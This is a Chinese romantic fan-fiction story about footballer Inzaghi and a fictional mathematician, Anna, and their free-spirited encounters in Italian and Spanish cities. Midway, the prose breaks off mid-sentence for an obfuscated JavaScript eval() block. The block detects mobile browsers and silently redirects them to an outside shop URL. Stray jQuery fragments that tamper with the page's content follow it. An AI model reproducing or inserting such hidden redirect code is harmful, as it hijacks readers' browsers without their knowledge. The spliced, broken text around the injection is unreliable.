意大利国家队集训基地，夏末的蝉鸣把梧桐树叶吵得发颤，因扎吉刚绕开教练组的点名，抱着两罐冰啤酒往围墙边的阴影里钻——他上周刚在联赛里上演帽子戏法，脚踝上的旧伤还泛着酸，只想躲半小时清净，不想听战术会上的反复叮嘱。
他刚靠到墙根，易拉罐的拉环还没拉开，就看见围墙外的香樟树下站着个女人。棕褐色的长卷发松松披在肩头，身上穿一件宽松的黑色丝质衬衫，手里夹着半支没点燃的薄荷烟，脚边放着一本封皮磨旧的拓扑学专著，正抬眼往训练场的方向看，蓝眼睛亮得像盛了一整片地中海的碎光。
“躲教练点名？”她先开了口，意大利语的尾音软得很，却带着点数学家特有的、直来直去的爽利，“我刚才看见你从侧门溜出来，动作比你在禁区里插空当还快。”
因扎吉愣了两秒，随即笑出声，把手里没开的另一罐啤酒隔着围墙递过去：“丰塔纳小姐？我听菲利斯提过你，说你解数学题的速度，比我冲刺过人还快。”他当然认识她，整个意大利没人不认识这个三十岁就拿了菲尔兹奖的女人，她上周还出现在尤文图斯的看台上，站在菲利斯身边，连俱乐部主席跟她说话都要放轻语气。
安娜森蕊接过易拉罐，指尖蹭过他沾着草屑的手背，“咔哒”一声拉开拉环，泡沫漫出来一点，沾在她的指节上。她没擦，就着罐口喝了一口，冰啤酒的气泡在舌尖炸开，她抬眼扫了一眼训练场的方向，远处菲利斯正抱着球跟皮耶罗打闹，金发在阳光下亮得晃眼。
“我是来给菲利斯送新做的护腿板的。”她晃了晃手里印着数学公式的护腿板，语气漫不经心，“顺便来看看，传说中永远在找下一个进球机会的浪子，躲起来的时候是什么样子。”
因扎吉挑了挑眉，往前凑了半步，隔着半人高的围墙盯着她的眼睛：“那你看清楚了？我这个浪子，躲在这里，是想邀请你去前面的小镇吃一份刚出炉的玛格丽特披萨。我知道有家店的芝士放得最足，比你在米兰吃过的所有店都好。”
安娜森蕊笑出了声，把手里的拓扑学专著往包里一塞，指尖勾住围墙的铁栏杆，动作利落得完全不像常年泡在实验室里的数学家：“走。但我提前说清楚，我后天要飞去普林斯顿开学术会议，最多只能陪你疯到凌晨两点。我不会为了任何人改我的行程。”
“巧了。”因扎吉把手里的啤酒罐往垃圾桶里一丢，翻围墙的动作像他在禁区里变向一样流畅，落地时草屑沾了一裤腿，“我下周要飞西班牙踢欧冠，最多也只能陪你吃到凌晨两点。我也不会为了任何人，错过下一场比赛的进球。”
两个人沿着梧桐树下的小路往小镇走，傍晚的风卷着训练场的青草香吹过来，谁也没说“谈恋爱”三个字，谁也没许任何关于永远的承诺。两个永远在往前飞的浪子，此刻只是刚好风向一致，愿意结伴同行一段路，去吃一份热乎的披萨。就像两只偶然在同一片天空下相遇的飞鸟，不用约定终点，不用规划归期，并肩滑翔的这一段路，风是自由的，他们也是自由的。
走到披萨店门口的时候，因扎吉突然停下来，从口袋里摸出一支刚摘的狗尾草，别在她的卷发上。安娜森蕊没摘，抬头看他，蓝眼睛里的光碎碎的，两个人对视着笑，谁都清楚——他们都不会是为对方停留的那一个，但这段同行的路，一定会比所有刻意的相遇都要尽兴。
从披萨店出来的时候，深夜的都灵街头已经没什么行人，因扎吉的训练外套搭在安娜森蕊肩上，两个人沿着石板路慢慢晃，路过自动贩卖机的时候，他投币买了罐热可可，拉开拉环递到她手里，指尖刻意放轻了动作，怕烫到她的指节。
“菲利斯总跟我抱怨，说你给他的护腿板上写满拓扑公式，他穿着上场总觉得自己在解数学题。”他走在她身侧，影子被路灯拉得很长，漫不经心开口，“上次他踢点球的时候满脑子都是你写的群论，差点把球踢偏。”
安娜森蕊咬着热可可的吸管笑，卷发从肩前滑下来，她抬手捋的瞬间，腕子上细银的手链蹭过他的胳膊：“那是给他的小彩蛋，能帮他校准射门角度。他后来那个帽子戏法，弧线比之前准了整整三度，没我的功劳他进得那么顺？”
他们绕回集训基地的侧门时，离教练组点名的时间只剩不到半小时。因扎吉没急着进去，靠在围墙边点了支烟，烟雾漫上来的时候，他看着安娜森蕊蓝盈盈的眼睛，突然开口：“下周去西班牙踢欧冠，客场的看台上留了你的位置。我给你留最前排的票，你要是开完会顺路，就过来看看。”
安娜森蕊没立刻答应，指尖转着刚才披萨店老板送的薄荷糖，过了两秒才笑：“我开完会要回米兰给阿德里亚诺送新的战术分析笔记，时间刚好卡得上。但我提前说，我不会特意绕路，要是航班晚点赶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947122|213497||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不上，我直接就飞回意大利了。”
“我不怪你。”因扎吉掐了烟，指尖弹掉烟蒂的火星，“我要是九十分钟里没进球，你也别等我赛后庆祝，直接走就行。”
后来安娜森蕊真的掐着点出现在了马德里的伯纳乌看台上，刚从学术会场赶过来的她还穿着没换的正装，手里攥着半页没写完的论文草稿，坐在最前排的位置上，看着因扎吉在禁区里像狐狸一样钻来钻去，第八十七分钟终于抢点捅射破门的瞬间，她是全场第一个站起来鼓掌的人。
赛后球员通道里，浑身是汗的因扎吉裹着浴巾走出来，看见她靠在墙边等，递过来一张写满函数曲线的便签，上面标着他下半场三个没把握住的空当位置，每一个点都标得精准无比。“你这哪是数学家，”他接过便签，指尖蹭过她的掌心，“你是专门给我画进球地图的。”
那天他们没回各自的酒店，在马德里深夜的街头走了整整两个小时，路过卖鲜花的小推车，因扎吉随手买了支白玫瑰插在她的发梢，路过通宵营业的小酒馆，两个人分喝了一杯度数很低的果酒，谁都没提“留下来”，谁都没说“在一起”，连拥抱都轻得像风擦过肩膀。
后来的大半年里，他们总这样在各个城市的球场边偶遇。安娜森蕊去米兰开研讨会，就顺路去圣西罗的看台上看他训练，给他带一块自己烤的榛子蛋糕；因扎吉去都灵踢联赛，就绕路去她的公寓楼下站十分钟，给她带一盒球场边小店卖的柠檬糖。他们从来不会提前约好时间，不会为了对方调整自己的日程，甚至连电话都很少打，可总能在对方刚好有空的间隙，在球场边的梧桐树下、在深夜的路边摊、在球员通道的阴影里，撞个正着。
有次国家队集训结束的深夜，他们坐在罗马的台伯河边，看着河面上的路灯倒影晃来晃去，因扎吉突然开口：“别人都说我们两个最像，永远在路上，永远不肯为谁落脚。”
安娜森蕊靠在他肩膀上，蓝眼睛映着河面上的光，笑了笑：“不好吗？飞鸟结伴飞一段，不用商量终点，不用怕谁拖谁的后腿。”
他没接话，伸手把她被风吹乱的卷发别到耳后，指尖的温度擦过她的耳廓，暧昧的气氛像台伯河上的雾，软乎乎地裹着两个人，却从来不会沉下来，压得人喘不过气。他们都清楚，谁都不会是为对方停下翅膀的那一个，可这段并肩滑翔的日子，每一秒都自由得发烫。